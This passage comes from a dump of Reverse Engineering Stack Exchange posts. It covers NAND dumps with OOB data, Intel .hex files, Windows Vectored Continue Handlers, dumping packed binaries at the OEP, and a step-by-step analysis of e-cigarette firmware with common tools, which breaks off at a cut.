    00000200\n00000410\n00000620\n00000830\n00000A40\n00000C50\n00000E60\n bad OOB at 00001070? 042080e4fbffffea10009fe530ff2fe1\ndone.\n
    \n\n

    And indeed, the next line starting with 01 00 00 00 is at 1240, not 1070. I tried to account for it and restart, but \nI ran into similar issues later. So I wonder if I'm missing something. \nThe full file is 4GB which is a bit heavy so here are few cut out chunks:

    \n\n
      \n
    1. beginning of the dump (initial bootloader?). offset 0
      2. \n
    2. start of U-boot bootloader. offset 0x104000
      3. \n
    3. start of the kernel image.offset 0x186000
      4. \n
    \n\n

    if you'd like to see the whole dump I've shared a link in our chat.

    \n\n

    Hardware details:\nDevice is Sony Walkman NWZ-A829. \nThe flash chip is most likely TH58NVG6D1DTG20. \nThe CPU is a NEC MP201 (ARMv5le).

    \n\n

    GPL sources (U-Boot/Linux kernel) are available here: http://oss.sony.net/Products/Linux/Audio/NWZ-S715.html

    \n\n

    The final goal is to figure out the firmware update encryption and produce custom firmware for the device.

    \n", "Title": "Extracting a NAND flash dump with OOB data", "Tags": "|binary-analysis|firmware|arm|flash|dump|", "Answer": "

    Just a fast answer as future tip for NAND issues.

    \n\n

    When make reading of NAND flashes (doesn't care if bga, tsop..), not all programmers make clear dump, normally it includes dummy blocks as you mentioned OOB data.

    \n\n

    As NAND dumps should be multiple of 8, like 64, 128, 256MB...if the file you dump is larger than typical size, e.g. 132MB, then is mandatory to analyze the binary for remove dummy chunks and find out the pattern, then you could start playing with the binary.

    \n" }, { "Id": "14990", "CreationDate": "2017-03-23T10:58:39.813", "Body": "

    I am newcomer to this field.\nI would like to understand how these things work and what these file contain (and if I'm on the right path).

    \n\n

    To explain my doubts, I will use the .hex file posted in a similar question: How can I decompile an ARM Coretex M0 .hex file to C++?

    \n\n

    Link to .hex file: http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex

    \n\n

    The .hex file contains the instructions that will be executed by the microcontroller, and the format used is http://www.keil.com/support/docs/1584/, am I right?

    \n\n

    Now I've tried to extract some information from this file (just for learning):\nI've converted the .hex file into .bin file with hex2bin (as suggested in the first answer), \nthen I've run the command \"strings file.bin\", and I've found some readable strings.

    \n\n

    What does this mean? Why can I read only some strings and not all the data?\nExactly what happen when I convert .hex file to .bin file?\nIs there a way to extract the code in which these strings are used?

    \n\n

    Maybe these questions are too silly, \nbut I hope that someone could explain what these files are, and what they represent. \nAny good resource will be appreciated. Thanks in advance.

    \n", "Title": "Basic clarifications about .hex and .bin file", "Tags": "|disassembly|firmware|arm|hex|binary|", "Answer": "
    \n

    The .hex file contains the instructions that will be executed by the\n microcroller, and the format used is\n http://www.keil.com/support/docs/1584/ , am I right?

    \n
    \n\n

    You're right about the format. The .hex file basically encodes binary data which contains instruction in assembly language, but also data.

    \n\n
    \n

    What does it mean? Why can I read only some strings and not all the\n data?

    \n
    \n\n

    It means strings could find some data its deems to be a string. it just searches the binary dump for byte sequences which reassembly ascii codes (with additional heuristics, like minimum length, different string formats, ...)

    \n\n
    \n

    Exacly what happen when I convert .hex file to .bin file?

    \n
    \n\n

    The file is decoded. its a symmetric encoding scheme as described at the source you privided.

    \n\n
    \n

    Is there a way to extract the code in which these strings are used?

    \n
    \n\n

    Yes, but you would need to find the code first to make this connection. Good diassemblers like IDA will find cross-references to data fields (like strings).

    \n\n

    If you want to see the individual machine instructions, please use a disassembler like radare2, IDA, BinaryNinja, Hopper or something else capable of disassembling ARM.

    \n" }, { "Id": "14992", "CreationDate": "2017-03-23T12:47:37.810", "Body": "

    Practically everyone knows what Vectored Exception Handlers are, but I couldn't find a lot of information about the similar \"Vectored Continue Handlers\" and related functions I encountered today, such as AddVectoredContinueHandler and RemoveVectoredContinueHandler.

    \n\n

    The prototype of AddVectoredContinueHandler is very similar to AddVectoredExceptionHandler's prototype:

    \n\n
    PVOID WINAPI AddVectoredContinueHandler(\n  _In_ ULONG                       FirstHandler,\n  _In_ PVECTORED_EXCEPTION_HANDLER VectoredHandler\n);\n
    \n\n

    And to make things more confusing it accepts a PVECTORED_EXCEPTION_HANDLER, just as AddVectoredExceptionHandler does.

    \n\n

    What is the purpose of Vectored Continue Handlers and how are they used?

    \n", "Title": "What are the Vectored Continue Handlers", "Tags": "|windows|exception|", "Answer": "

    Unfortunately MSDN and windows API documentation is really scarce here, and I had difficulties finding anything other than the minimal description in MSDN.

    \n\n

    It turns out the Vectored Continue Handlers are maintained in a Linked list very similar to the one used for Vectored Exception Handlers. They are so similar, that the function's prototypes are practically identical.

    \n\n

    Take a look at:

    \n\n
    PVOID WINAPI AddVectoredExceptionHandler(\n  _In_ ULONG                       FirstHandler,\n  _In_ PVECTORED_EXCEPTION_HANDLER VectoredHandler\n);\n
    \n\n

    Compared to:

    \n\n
    PVOID WINAPI AddVectoredContinueHandler(\n  _In_ ULONG                       FirstHandler,\n  _In_ PVECTORED_EXCEPTION_HANDLER VectoredHandler\n);\n
    \n\n

    Luckily, Vectored Exception Handlers are more commonly used and documented. For example, MSDN has a page about VEHs, containing the following paragraph:

    \n\n
    \n

    Vectored exception handlers are an extension to structured exception handling. An application can register a function to watch or handle all exceptions for the application. Vectored handlers are not frame-based, therefore, you can add a handler that will be called regardless of where you are in a call frame. Vectored handlers are called in the order that they were added, after the debugger gets a first chance notification, but before the system begins unwinding the stack.

    \n
    \n\n

    The same page has only a laconic reference to the Add and Remove VCH APIs.

    \n\n

    After some research and reverse engineering of ntdll, I realized VCHs and VEHs are quite similar in implementation. For example, see how AddVectoredExceptionHandler and AddVectoredContinueHandler are identical except for the VectoredListIndex, specifying they should be added to the second VectorHandlerList in the case of VCH:

    \n\n

    \"AddVectoredExceptionHandler

    \n\n

    Similarly, RemoveVectoredExceptionHandler and RemoveVectoredContinueHandler are identical except for the vectored handlers list index.

    \n\n

    Inside RtlpAddVectoredHandler, the VectoredListIndex is used as an index in _LdrpVectorHandlerList, which is an array of size two of a linked list structure.

    \n\n

    In the following picture we can see how VectoredListIndex is multiplied by the size of the list anchor object, and then added to _LdrpVectorHandlerList, which is the base offset of the array.

    \n\n

    \"VectoredListIndex

    \n\n

    And now we're getting to the interesting part - where are VEH and VCH different?

    \n\n

    If we walk up the cross references to _LdrpVectorHandlerList, we'll notice the two flows leading up to the add/remove functions are practically identical. Aside from those four APIs, we're left with only one other function, called RtlpCallVectoredHandlers which is undocumented.

    \n\n

    It's pretty obvious from the name, but RtlpCallVectoredHandlers iterates over the vector (vector is selected according to the index) and calls all Handlers in a sequence. Once a Vectored Handler returns EXCEPTION_CONTINUE_EXECUTION the iteration is interrupted by prematurely returning from RtlpCallVectoredHandlers and execution resumes.

    \n\n

    The sole function calling RtlpCallVectoredHandlers is RtlDispatchException, which is the main function dispatching exception handlers.

    \n\n

    First, it executes all exception handlers, starting with the first Vectored Exception Handler to the last, and then going through all Structured Exception Handlers unfolding them through the stack. The first exception handler to return EXCEPTION_CONTINUE_EXECUTION (be it of type VEH or SEH) will stop the entire exception handlers execution process.

    \n\n

    Like VEHs, when VCHs are called, they are called one by one until one of them returns EXCEPTION_CONTINUE_EXECUTION (just as when VEHs are called), which signals RtlpCallVectoredHandlers to break the Vectored Handlers calling loop. This is interesting because it means installing a Vectored Continue Handler as first lets you hide exceptions from subsequent VCHs.

    \n\n

    Vectored Continue Handlers are called under the following circumstances:

    \n\n
      \n
    1. If an exception handler (either VEH or SEH) was called and returned EXCEPTION_CONTINUE_EXECUTION
      2. \n
    2. If for some reason SEH validation failed (See SafeSEH and related mechanisms), VCHs will also be called, but the execution will not continue afterwards.\nThis can be seen in the many flows that lead to the second RtlpCallVectoredHandlers call without setting bl to 1 and leaving it equal to zero before moving it to al and returning false. The calling function, KiUserExceptionDispatcher will then call ZwRaiseException if the value returned by KiUserExceptionDispatcher is false.\n\"enter
      3. \n
    \n" }, { "Id": "14994", "CreationDate": "2017-03-23T13:13:49.663", "Body": "

    What is the exact reason for dumping a process when the Program Counter is at OEP? I haven't found a decent answer.

    \n\n

    This Link says:

    \n\n
    \n

    In order to identify the IAT structure, Import Reconstructor needs to\n know the OEP of our application (of the unpacked code).

    \n
    \n\n

    This leaves me with the following questions:

    \n\n
      \n
    1. But how does knowing OEP relate to IAT?
      2. \n
    2. When application is unpacked in memory, can't we get pointer to IAT just by walking through PE header and getting address of IT - and then of IAT?
      3. \n
    3. Why don't we dump application not at OEP but say on jmp leading to OEP? Or one-two instructions after OEP?
      4. \n
    \n", "Title": "Why to dump precisely at OEP while manual unpacking?", "Tags": "|unpacking|dumping|import-reconstruction|oep|", "Answer": "
    \n

    But how does knowing OEP relate to IAT?

    \n
    \n\n

    OEP does not relate to the IAT, but is used by import reconstruction tools to find the location of IAT-like structures created by the packer.

    \n\n
    \n

    When application is unpacked in memory, can't we get pointer to IAT just by walking through PE header

    \n
    \n\n

    This is exactly why import reconstruction is needed. Because the malware intentionally ruins the IAT in some way or another, only keeping a small set of mandatory functions in it, leaving the work of resolving most of the APIs as part of the unpacking code. Therefore import reconstruction will require we find the IAT by other means (because the PE defined IAT is incomplete/fake).

    \n\n
    \n

    Why don't we dump application not at OEP but say on jmp leading to OEP? Or one-two instructions after OEP?

    \n
    \n\n

    When dumping, it is import to have executed all code related to descrambling the packed code. Otherwise, OEP might not be valid executable code. Other than that (and import reconstruction related issues) it is perfectly fine to dump and just adjust the PE's Entry Point to the OEP. Most dumping tools will allow that.

    \n\n
    \n\n

    Aside from answering your specific questions, here are the types of packers with regard to their IAT manipulation and what's needed to get a functional IAT in a dumped PE:

    \n\n
      \n

    1. When a packer does not change the original import table, import reconstruction is unnecessary. Most PE dumpers will copy the original import table when it's valid or dump it with the PE.

      2. \n

    2. Some packers carry another PE that is hidden at first, and only decrypt/descramble it in it's entirety. Those packers will also carry the IAT in-tact and most dumpers will get the IAT automatically.

      3. \n

    3. Some packers will create their own alternative IAT and implement their own version of API loading/resolving. For those packers, an import reconstruction utility will need to locate that alternative (or, shall we say real?) IAT and create a new IAT in the reconstructed PE from scratch (based on those APIs actually pointed by the original IAT). Import reconstruction will then find ranges of \"IAT looking\" offsets and make sure they reside in the same location when the PE is loaded. The OEP is therefore scanned for calls that use offset tables that might be suspected as being such an alternative IAT.

      4. \n

    4. Some packers will not create a single IAT, but instead many small IAT tables, such that you would no longer call them \"Tables\". In those cases, the import reconstruction tool must encounter enough of those small tables and reconstruct each of them separately. In those cases it is even more important not to leave any piece of code still packed, as APIs only used by those pieces of code will not be reconstructed.

      5. \n

    5. Another type of packers make it even harder to resolve APIs for static disassembly (although do not prevent execution of the dumped PE) by dropping the concept of import tables and instead resolve the API requested every time an API call is made. This is usually done by assigning a key/hash that is not trivially recognizable to any API, and walk over DLLs and Export tables every time a call is made, generating the same key/hash for APIs until the correct key is found.\nThis usually mean import reconstruction is not needed to execute and debug the dumped PE, but a human reverse engineer will have difficulties understanding which APIs are being called.

      6. \n
    \n" }, { "Id": "15006", "CreationDate": "2017-03-24T18:56:39.223", "Body": "

    The purpose of this question is to gain an understanding of the concepts behind reverse engineering and to understand what approaches may be taken to extract useful information from a binary file.

    \n\n

    I've obtained an .hex file. Then I've converted it to a binary file using hex2bin:

    \n\n
    ./hex2bin firmware.hex\n
    \n\n

    Then I've searched for some readable strings:

    \n\n
    strings firmaware.bin\n...\nWATT\nMODE \nTEMP \nMEMORY\n MODE \n STRENGTH\n  MIN \nSOFT\nNORM\nHARD\n MAX \nBLUETOOTH\n   ON    \n   OFF   \n   LED   \nSTEALTH\n OFF  \n  ON  \n  TODAY\n...\n
    \n\n

    I've also tried to run binwalk, but the output is blank:

    \n\n
        binwalk firmware.bin \n\n    DECIMAL       HEXADECIMAL     DESCRIPTION\n    --------------------------------------------------------------------------------\n
    \n\n

    First question: why is the output is blank?

    \n\n

    I've also tried to check the entropy to guess if the file is encrypted or compressed.

    \n\n
    binwalk -E firmware.bin\n
    \n\n

    \"enter

    \n\n

    As suggested in another answer, I proceeded to use radare2 in order to find the original ARM code (I'm totally new to this tool); in particular I want to extract all the functions used in this file:

    \n\n
    radare2 -A -arm -b 32 firmware.bin \n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze len bytes of instructions for references (aar)\n[x] Analyze function calls (aac)\n[ ] [*] Use -AA or aaaa to perform additional experimental analysis.\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan))\n -- Step through your seek history with the commands 'u' (undo) and 'U' (redo)\n[0x00000000]> aa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[0x00000000]> afl\n0x00000000    1 10           fcn.00000000\n0x0000000a    3 108          fcn.0000000a\n0x00000142    1 3            fcn.00000142\n0x00000c02    1 2            fcn.00000c02\n0x00002b0f    1 41           fcn.00002b0f\n0x00004319    1 8            fcn.00004319\n0x00004321    1 67           fcn.00004321\n0x000055f0    1 3            fcn.000055f0\n0x000059f0    1 11           fcn.000059f0\n0x00005b0e    1 3            fcn.00005b0e\n0x00006971    1 49           fcn.00006971\n0x00006c9a    1 7            fcn.00006c9a\n0x00007020    6 353  -> 356  fcn.00007020\n0x00007663    5 70   -> 100  fcn.00007663\n0x000082d3    1 110          fcn.000082d3\n0x0000886b    3 56           fcn.0000886b\n0x00009360   43 783  -> 716  fcn.00009360\n0x0000990e    3 28   -> 34   fcn.0000990e\n0x0000b7f0    7 230  -> 238  fcn.0000b7f0\n0x0000c130    2 40           fcn.0000c130\n0x0000e00c    9 393  -> 239  fcn.0000e00c\n0x0000e017    9 382  -> 228  fcn.0000e017\n
    \n\n

    Question two: these functions are used in the .bin file (so in the original source code), am I correct?

    \n\n

    Question three: How can I extract the data where the strings found are used?

    \n\n

    Question four: What useful information can be extracted from this file?

    \n\n

    At this point I am stuck. I'm a newcomer, so I would like to learn how to approach a situation in which I don't get useful information from a tool (like binwalk). So, if someone could suggest to me what steps should be taken in order to extract useful information (by this I mean pointing out concepts to understand, where to find information, useful resources, books and so on), and I would greatly appreciate it. If someone could show me how to proceed with this file, that would be great, so I can see directly some results and proceed with my study.

    \n\n

    Thanks in advance.

    \n\n

    Here is the file: http://www.3fvape.com/images/3fvape-blog-img/20150806-4384-xcubeII-upgrade/SMOK_X_CUBE_II_firmware_v1.07.hex \nThe source file is in intel 32 bit .hex format and is for ARM Cortex-M0.

    \n", "Title": "Approach to extract useful information from binary file", "Tags": "|binary-analysis|firmware|arm|hex|binary|", "Answer": "

    General Prerequisites

    \n\n

    When analyzing binaries, it is important to be able to put what is observed into context. For example, how can CPU instructions be differentiated from data in a binary with a non-standard format? This requires some background knowledge of computer systems in general. I would argue that before any attempt at reverse engineering firmware is made, at least basic familiarity with the following concepts is required:

    \n\n\n\n

    My advice is the following:

    \n\n\n\n

    Firmware RE Resources

    \n\n

    \"Intro to Embedded Reverse Engineering \nfor PC reversers\" by Igor Skochinsky provides an overview of what is involved in reversing firmware, and in \"Embedded Devices Security: Firmware Reverse Engineering\" Jonas Zaddach and Andrei Costin outline a general methodology for reversing firmware beginning on slide 31.

    \n\n

    Look at answers given by pros:

    \n\n\n\n

    These may be useful or interesting:

    \n\n

    devttys0's blog

    \n\n

    ea's blog

    \n\n

    Igor's blog

    \n\n

    firmware.re

    \n\n

    IOActive Labs Research blog

    \n\n

    sviehb's blog

    \n\n

    Embedded systems often use MIPS or ARM processors, and by extension MIPS or ARM instruction sets. This means that being familiar with MIPS and ARM assembly will be very helpful when analyzing firmware for these systems.

    \n\n

    Analyzing the binary

    \n\n

    Part 1: Identification of the target device's architecture

    \n\n

    We cannot rely on hearsay to obtain the information required to analyze the firmware. Validity of information about the firmware must be proven by using empirical evidence. It is not enough to have a binary blob from a second-hand source and a processor name from a different question.

    \n\n

    1. Identify the target device

    \n\n

    Fortunately in this case it is easy to at least get the device name: SMOK X Cube II. When the vendor's firmware and tools support page is examined it turns out that there is a real device with that name. The .hex file is bundled with an upgrade tool from Taiwanese semiconductor manufacturer Nuvoton called \"NuMicro ISP Programming Tool\":

    \n\n
    ~/firmware/e-cig/XCUBE II upgrading tool $ file *\nconfig.ini:                                            ASCII text, with CRLF line terminators\nNuMicro ISP Programming Tool.exe:                      PE32 executable (GUI) Intel 80386, for MS Windows\nNuMicro ISP Programming Tool User's Guide.pdf:         PDF document, version 1.5\nXCUBE II-VIVI-52 (160616)V.1.098(checksum=0x28F9).hex: ASCII text, with CRLF line terminators\n
    \n\n

    This hex file is straight from the manufacturer of the device processor rather than from a second-hand source. It is also a newer version - v1.098 rather than v1.07. I decided to analyze the older firmware version (v1.07) since this is the version of the binary in the question.

    \n\n

    \"Upgrade

    \n\n

    2. Identify the processor

    \n\n

    There are some interesting things in the pictures used to describe the upgrade process: the name NuMicro and the acronym ISP in the tool name, the term DataFlash, a reference to something called APROM, and most importantly, the part number: NUC220LE3AN. What \"part\" is this a number for? A Nuvoton-developed microcontroller based on ARM's Cortex-M0 processor.

    \n\n

    3. Identify the instruction set architecture

    \n\n

    Nuvoton is kind enough freely share technical documentation for the NuMicro NUC220 series, including the datasheet and the technical reference manual, in addition to various software tools and training materials (click on the \"Resources\" tab at the top of the NUC220LE3AN product page).

    \n\n

    From the datasheet, Section 1: \"General Description\", page 7 (emphasis mine):

    \n\n
    \n

    The NuMicro NUC200 Series 32-bit microcontrollers is embedded with the newest ARM\u00ae Cortex\u2122-M0 core with a cost equivalent to traditional 8-bit MCU for industrial control and applications requiring rich communication interfaces. The NuMicro NUC200 Series includes NUC200 and NUC220 product lines.

    \n
    \n\n

    Is this enough information to conclude that the code in the firmware binary consist of 32-bit ARM instructions? No, it is not. Let us look closely at the functional description of the processor (Chapter 6: Functional Description, section 1: ARM Cortex-M0 Core, page 48):

    \n\n

    \"Processor\n\"Processor

    \n\n

    Let us take special note of the following information:

    \n\n\n\n

    Note that the processor is an ARM Cortex-M0 Core and not ARM Cortex-M0+ Core, which has a different instruction set.

    \n\n

    From ARM's Cortex-M0 technical reference manual:

    \n\n
    \n

    The processor implements the ARMv6-M Thumb instruction set, including a number of 32-bit instructions that use Thumb-2 technology. The ARMv6-M instruction set comprises:

    \n \n
      \n

    • all of the 16-bit Thumb instructions from ARMv7-M excluding CBZ, CBNZ and IT

      • \n

    • the 32-bit Thumb instructions BL, DMB, DSB, ISB, MRS and MSR.

      • \n
    \n
    \n\n

    What is \"Thumb code\" and the \"Thumb instruction set\"?

    \n\n

    From \"Introduction to ARM thumb\" by Joe Lemieux (emphasis mine):

    \n\n
    \n

    The Thumb instruction set consists of 16-bit instructions that act as\n a compact shorthand for a subset of the 32-bit instructions of the\n standard ARM. Every Thumb instruction could instead be executed via\n the equivalent 32-bit ARM instruction. However, not all ARM\n instructions are available in the Thumb subset; for example, there's\n no way to access status or coprocessor registers. Also, some functions\n that can be accomplished in a single ARM instruction can only be\n simulated with a sequence of Thumb instructions.

    \n \n

    At this point, you may ask why have two instruction sets in the same\n CPU? But really the ARM contains only one instruction set: the 32-bit\n set. When it's operating in the Thumb state, the processor simply\n expands the smaller shorthand instructions fetched from memory into\n their 32-bit equivalents.

    \n \n

    The difference between two equivalent instructions lies in how the\n instructions are fetched and interpreted prior to execution, not in\n how they function. Since the expansion from 16-bit to 32-bit\n instruction is accomplished via dedicated hardware within the chip, it\n doesn't slow execution even a bit. But the narrower 16-bit\n instructions do offer memory advantages.

    \n \n

    The Thumb instruction set provides most of the functionality required\n in a typical application. Arithmetic and logical operations,\n load/store data movements, and conditional and unconditional branches\n are supported. Based upon the available instruction set, any code\n written in C could be executed successfully in Thumb state. However,\n device drivers and exception handlers must often be written at least\n partly in ARM state.

    \n
    \n\n

    Here is a good explanation from SO: ARM, Thumb and Thumb 2 instructions confusion

    \n\n

    From the ARMv6-M Architecture Reference Manual, Chapter A5:The Thumb Instruction Set Encoding, section 1: Thumb instruction set encoding, page 82:

    \n\n

    \"Thumb

    \n\n

    Additionally:

    \n\n
    \n

    The NuMicro NUC200 Series only supports little-endian data format.

    \n
    \n\n

    \"System

    \n\n

    To summarize: the code in the firmware binary will consist of little-endian 16-bit ARM Thumb instructions plus a few 32-bit Thumb2 instructions to be executed by a 32-bit ARM Cortex-M0 processor implementing the ARM 16-bit Thumb instruction set with support for Thumb2.

    \n\n

    4. Identify the device's memory layout

    \n\n

    Access to the technical reference manual allows us to determine what APROM and ISP are. From Chapter 6: Functional Description, section 4.4.1: Flash Memory Organization, page 191:

    \n\n
    \n

    The NuMicro NUC200 Series flash memory consists of program memory (APROM), Data Flash, ISP loader program memory (LDROM), and user configuration. Program memory is main memory for user applications and called APROM. User can write their application to APROM and set system to boot from APROM.

    \n \n

    ISP loader program memory is designed for a loader to implement In-System-Programming function. LDROM is independent to APROM and system can also be set to boot from LDROM. Therefore, user can user LDROM to avoid system boot fail when code of APROM was corrupted.

    \n
    \n\n

    And from Chapter 6: Functional Description, section 4.4.5: In-System-Programming (ISP), page 199:

    \n\n
    \n

    ISP provides the ability to update system firmware on board. Various peripheral interfaces let ISP loader in LDROM to receive new program code easily. The most common method to perform ISP is via UART along with the ISP loader in LDROM. General speaking, PC transfers the new APROM code through serial port. Then ISP loader receives it and re-programs into APROM through ISP commands.

    \n
    \n\n

    According to the information in the config.ini file bundled with the NuMicro ISP Programming Tool, flash memory size of the APROM segment is 128 KB:

    \n\n
    $ cat config.ini | grep NUC200LE3AN -B2 -A3\n\n[0x00020000]\nNAME_STRING = NUC200LE3AN\nRAM_SIZE = 16\nFLASH_SIZE = 128\n
    \n\n

    Here is a diagram of the flash memory address map:

    \n\n

    \"flash

    \n\n

    We know that the space from 0x0000_0000 to 0x0001_FFFF = 131071 bytes, which is 128 KB, and this is the region to which the binary from the hex file will be flashed to using the upgrade tool. Above that there is a block of memory from 0x0002_0000 to 0x0010_000 which is labeled \"Reserved for Further Used\". The size of this \"Reserved\" space is 0x0010_0000 - 0x0002_0000 = 0xE0000, or 917504 bytes. This is almost 1 megabyte of reserved space. The 128 KB reserved for APROM makes up 12.5% of the address space between 0x0000_0000 and 0x0010_0000, but is represented as being larger than the ~1 MB \"Reserved\" block. This is very strange. There is also no documentation of this reserved block anywhere in the technical reference manual that I could find. If one had physical access to the device, perhaps the contents of flash memory could be dumped and analyzed to find out what lies in this region.

    \n\n

    Since the firmware binary is written to space in flash memory reserved for user applications, it seems unlikely that the firmware binary contains kernel code, bootloader code or a filesystem. This is different from router firmware, which tends to at the very least contain kernel code.

    \n\n

    Part 2: Direct analysis of the binary

    \n\n

    Quick recap of what we know at this point:

    \n\n\n\n

    Potential complications:

    \n\n\n\n

    Preliminary analysis

    \n\n

    1. strings and hexdump

    \n\n

    The output of strings can be used to quick heuristic in determining if the firmware is encrypted/compressed. If there are no strings in the output, it is a good indicator that the entire file is obfuscated somehow. hexdump with the -C argument can be used to provide some context for the strings i.e. where in the binary they are relative to code and relative to each other. In other words, are the strings packed together in a single block, or are they scattered throughout the binary? The answer can provide clues about the layout of the firmware.

    \n\n

    Using hexump, we see that the ASCII strings are intermingled with what might be code:

    \n\n
    00002ed0  01 21 1b 20 fd f7 6e fe  21 46 38 6a 09 f0 16 fd  |.!. ..n.!F8j....|\n00002ee0  64 21 09 f0 13 fd 08 46  0a 21 09 f0 0f fd 10 30  |d!.....F.!.....0|\n00002ef0  14 21 48 43 42 19 01 21  25 20 fd f7 5b fe 73 e0  |.!HCB..!% ..[.s.|\n00002f00  68 e2 88 e0 57 41 54 54  0a 00 00 00 4d 4f 44 45  |h...WATT....MODE|\n00002f10  0a 00 00 00 7c db 00 00  88 db 00 00 54 45 4d 50  |....|.......TEMP|\n00002f20  0a 00 00 00 4d 45 4d 4f  52 59 0a 00 20 4d 4f 44  |....MEMORY.. MOD|\n00002f30  45 20 0a 00 ac 01 00 20  53 54 52 45 4e 47 54 48  |E ..... STRENGTH|\n00002f40  0a 00 00 00 3c 0b 00 20  20 4d 49 4e 20 0a 00 00  |....<..  MIN ...|\n00002f50  53 4f 46 54 0a 00 00 00  4e 4f 52 4d 0a 00 00 00  |SOFT....NORM....|\n00002f60  48 41 52 44 0a 00 00 00  20 4d 41 58 20 0a 00 00  |HARD.... MAX ...|\n00002f70  ea cf 00 00 42 4c 55 45  54 4f 4f 54 48 0a 00 00  |....BLUETOOTH...|\n00002f80  20 20 20 4f 4e 20 20 20  20 0a 00 00 20 20 20 4f  |   ON    ...   O|\n00002f90  46 46 20 20 20 0a 00 00  ea d0 00 00 20 20 20 4c  |FF   .......   L|\n00002fa0  45 44 20 20 20 0a 00 00  6a d1 00 00 53 54 45 41  |ED   ...j...STEA|\n00002fb0  4c 54 48 0a 00 00 00 00  20 4f 46 46 20 20 0a 00  |LTH..... OFF  ..|\n00002fc0  20 20 4f 4e 20 20 0a 00  20 20 54 4f 44 41 59 20  |  ON  ..  TODAY |\n00002fd0  20 0a 00 00 80 96 98 00  f6 e1 00 00 83 e5 00 00  | ...............|\n00002fe0  a0 86 01 00 10 27 00 00  21 46 38 6a 09 f0 8e fc  |.....'..!F8j....|\n00002ff0  0a 21 09 f0 8b fc 10 31  14 20 41 43 4a 19 01 21  |.!.....1. ACJ..!|\n
    \n\n

    another group of ASCII strings elsewhere in the binary:

    \n\n
    00004f70  84 e0 04 f0 40 fe 00 28  13 d0 00 20 03 f0 ec ff  |....@..(... ....|\n00004f80  1e 49 80 31 08 69 88 61  35 4a 90 42 00 d3 8c 61  |.I.1.i.a5J.B...a|\n00004f90  88 69 08 62 33 48 06 23  04 22 00 90 19 46 00 20  |.i.b3H.#.\"...F. |\n00004fa0  62 e0 6b e0 20 43 48 45  43 4b 20 20 0a 00 00 00  |b.k. CHECK  ....|\n00004fb0  41 54 4f 4d 49 5a 45 52  0a 00 00 00 f6 e0 00 00  |ATOMIZER........|\n00004fc0  28 03 00 20 ac 01 00 20  7a e0 00 00 20 20 43 48  |(.. ... z...  CH|\n00004fd0  45 43 4b 20 20 0a 00 00  10 4b 00 00 ba e0 00 00  |ECK  ....K......|\n00004fe0  44 4f 4e 27 54 0a 00 00  41 42 55 53 45 0a 00 00  |DON'T...ABUSE...|\n00004ff0  50 52 4f 54 45 43 54 53  21 0a 00 00 3c 0b 00 20  |PROTECTS!...<.. |\n00005000  20 57 41 54 54 20 0a 00  2c 2f 00 00 60 ea 00 00  | WATT ..,/..`...|\n00005010  36 e1 00 00 2d 53 48 4f  52 54 2d 20 0a 00 00 00  |6...-SHORT- ....|\n00005020  b2 eb 00 00 88 13 00 00  20 53 48 4f 52 54 20 20  |........ SHORT  |\n00005030  0a 00 00 00 81 0b 00 00  49 53 20 4e 45 57 0a 00  |........IS NEW..|\n00005040  43 4f 49 4c 3f 20 0a 00  59 0a 00 00 4e 0a 00 00  |COIL? ..Y...N...|\n00005050  7c db 00 00 88 db 00 00  dc 05 00 00 a0 db 00 00  ||...............|\n00005060  0f 27 00 00 94 db 00 00  fb f7 e0 fd 28 46 fd f7  |.'..........(F..|\n00005070  a1 f8 fb f7 f0 fe 07 20  fd f7 08 fb af 20 fb f7  |....... ..... ..|\n00005080  2f ff 00 20 fb f7 30 ff  38 bd ff 49 08 60 70 47  |/.. ..0.8..I.`pG|\n00005090  fe 49 88 72 70 47 fd 48  80 7a 70 47 10 b5 13 24  |.I.rpG.H.zpG...$|\n
    \n\n

    more ASCII strings elsewhere:

    \n\n
    00005490  44 2f 00 00 34 0c 00 20  a0 db 00 00 88 db 00 00  |D/..4.. ........|\n000054a0  94 db 00 00 7c db 00 00  ea d5 00 00 36 0a 00 00  |....|.......6...|\n000054b0  2e 0a 00 00 50 4f 57 45  52 0a 00 00 20 4f 46 46  |....POWER... OFF|\n000054c0  20 0a 00 00 20 20 4f 4e  20 0a 00 00 e7 03 00 00  | ...  ON .......|\n000054d0  0f 27 00 00 9f 86 01 00  33 08 00 00 5f db 00 00  |.'......3..._...|\n000054e0  fb f7 a4 fb fd 49 20 68  07 f0 10 fa 7d 27 08 46  |.....I h....}'.F|\n000054f0  ff 00 39 46 07 f0 0a fa  f9 4e 00 01 80 19 01 22  |..9F.....N.....\"|\n
    \n\n

    There are several more such clusters of ASCII strings in different parts of the file. Some of the ASCII strings are mentioned in the product manual:

    \n\n

    \"strings

    \n\n

    However, many of the ASCII strings in the binary are not mentioned in the manual, such as these:

    \n\n
    00009d00  21 b0 f0 bd 00 01 00 50  00 ff 01 00 b4 ed 00 00  |!......P........|\n00009d10  43 12 67 00 45 52 52 4f  52 3a 20 20 20 0a 00 00  |C.g.ERROR:   ...|\n00009d20  4e 4f 20 53 45 43 52 45  54 0a 00 00 2d 4b 45 59  |NO SECRET...-KEY|\n00009d30  21 20 20 20 20 0a 00 00  ef 48 00 68 c0 07 c0 0f  |!    ....H.h....|\n
    \n\n

    Visualization of the binary also shows that byte sequences that fall within the ASCII range are scattered throughout the binary (blue is ASCII):

    \n\n

    \"binary

    \n\n

    2. Taking the locale the firmware was developed in into consideration

    \n\n

    The firmware, the upgrade tool and the microcontroller are all developed by Nuvoton, a Taiwanese company. Perhaps there are sequences of traditional Chinese characters in the binary as well.

    \n\n

    By default, strings searches for ASCII character sequences and the -C option for hexdump prints bytes within the ASII range as ASCII characters. But what if there are Unicode-encoded strings in the binary in addition to ASCII-encoded strings? Radare2 can be used to search for strings in the hex file directly, rather than relying on the output of a different tool (hexdump is pretty flexible but it is faster to use radare2). To search for strings, the izz commands will be used to search for strings throughout the binary:

    \n\n
    $ r2 ihex://SMOK_X_CUBE_II_firmware_v1.07.hex\n -- I am Pentium of Borg. Division is futile. You will be approximated.\n[0x00000000]> izz\nDo you want to print 1444 lines? (y/N)   <--- enter \"y\", obviously\n
    \n\n

    This has some potentially interesting results:

    \n\n
